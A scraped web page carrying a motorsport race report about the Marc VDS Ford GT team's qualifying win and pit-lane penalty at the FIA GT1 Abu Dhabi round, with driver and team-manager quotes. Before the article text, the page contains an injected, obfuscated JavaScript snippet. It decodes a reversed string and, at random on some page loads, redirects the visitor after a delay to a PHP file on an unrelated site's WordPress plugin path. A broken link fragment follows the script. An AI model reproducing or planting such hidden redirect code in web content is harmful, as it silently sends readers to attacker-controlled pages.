MARC VDS // FIA GT1 // Potential shown in Abu Dhabi

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20118278/marc-vds-fia-gt1-potential-shown-in-abu-dhabi/marc-vds-12/”>Starting from pole position having won the qualifying race earlier, Maxime Martin and Frédéric Makowiecki looked all set to challenge for their second victory of the day, until a drive through penalty eliminated them from the battle at the front of the championship race. Having completed the drive-through, Makowiecki rejoined the race in eighth, a position he held to the chequered flag.

At the start of the championship race Martin got jumped off the line by the three Nissans behind him on the grid, but managed to squeeze the #41 Ford GT up the inside at turn one to retake third place. The leading trio quickly pulled a gap on the pursuing pack, maintaining station until Martin dived up the inside of Peter Dumbreck in the #22 Nissan, to slot into second place behind Enrique Bernoldi, shortly before the pit window opened.

A quick pit stop looked to have given Makowiecki the advantage over his closest rival, Ricardo Zonta, but the two cars collided in pit lane as Mako left the Marc VDS pit box and Zonta was unsighted while tightening his safety harness. With neither driver prepared to give ground, the two cars negotiated pit lane alongside each other, with Makowiecki eventually gaining the advantage at the exit.

The advantage was short-lived, however, as the Marc VDS driver was given a drive-through penalty for an unsafe release from the pit stop, which dropped the #41 Ford GT back to eighth place. Zonta was also recalled to the pits following the incident, where officials checked that his safety harness was fitted correctly.

After such a winning start to the day came disappointment for the Marc VDS Racing Team, with the #40 Ford GT absent from the grid for this evening’s championship race. The car was diagnosed with an engine problem shortly after the qualifying race, which, although not terminal, meant that the reliability of the engine couldn’t be guaranteed.

Maxime Martin: Ford GT #41
“When we started in GT1 last year it was not so easy and we had some bad luck so, to win the first race of the new season was fantastic for the whole team. It was a great feeling. In the championship race I didn’t get the best start, I was about fifth off the line but managed to retake third at the first corner, which was a little bit crazy. It was difficult to pass the Nissans in front because their engine is amazing compared with ours, but I eventually managed to pass Dumbreck to take second just before the pit stop. The changeover was fine, but then Mako and Zonta came together in pit lane and the drive-through penalty meant we couldn’t do better than eighth in the end. Not a bad result overall, but now we have to see we can do in Zolder.”

Frédéric Makowiecki: Ford GT #41
“The win earlier today was a great way to start the championship. I had a tough but fair battle with the Nissan, the team did a good job at the pit stop and then Maxime did a great job of defending the lead to the end. The drive-through penalty in the championship race cost us a podium, maybe even the race win. It was a mistake; you want to get out of pit lane as quickly and safely as possible, but this time we weren’t so lucky. But this weekend we’ve learnt a lot. The car is good and the team works really well together. I’m sure we can fight for race wins this season, and the championship could also be possible for us. Now we must look to the next round in Zolder, and see what we can do there.”

Bas Leinders: Ford GT #40
“Engine problems meant we had very little track time before the qualifying race, which we had to start from 17th position on the grid due to changing a second engine in the car after free practice. In the race I got a good start and pushed hard to get up to ninth, but lost time with a spin halfway through my stint. We need to address the engine reliability problems immediately, because we can’t go to Zolder without a solution. A disappointing weekend for me and for Marc Hennerici, but congratulations to Max and Fred on their qualifying race win today.”

Jean-Michel Delporte: Team Manager
“It’s been a weekend of highs and lows for the Marc VDS Racing Team. I am sorry for Bas and for Marc, as this has been a difficult weekend for both of them, but they can rest assured we are doing everything we possibly can to ensure we don’t experience the same issues in the future. The highlight of the weekend was obviously Max and Mako’s win in the qualifying race. The two of them did a great job to take the win, the first for our team in the GT1 World Championship. It looked like they were going to repeat this success in the championship race, but the collision in pit lane effectively put paid to that. We still have some work to do, but the results with the #41 car here in Abu Dhabi showed what we are capable of, and I hope we will see this repeated often this season.”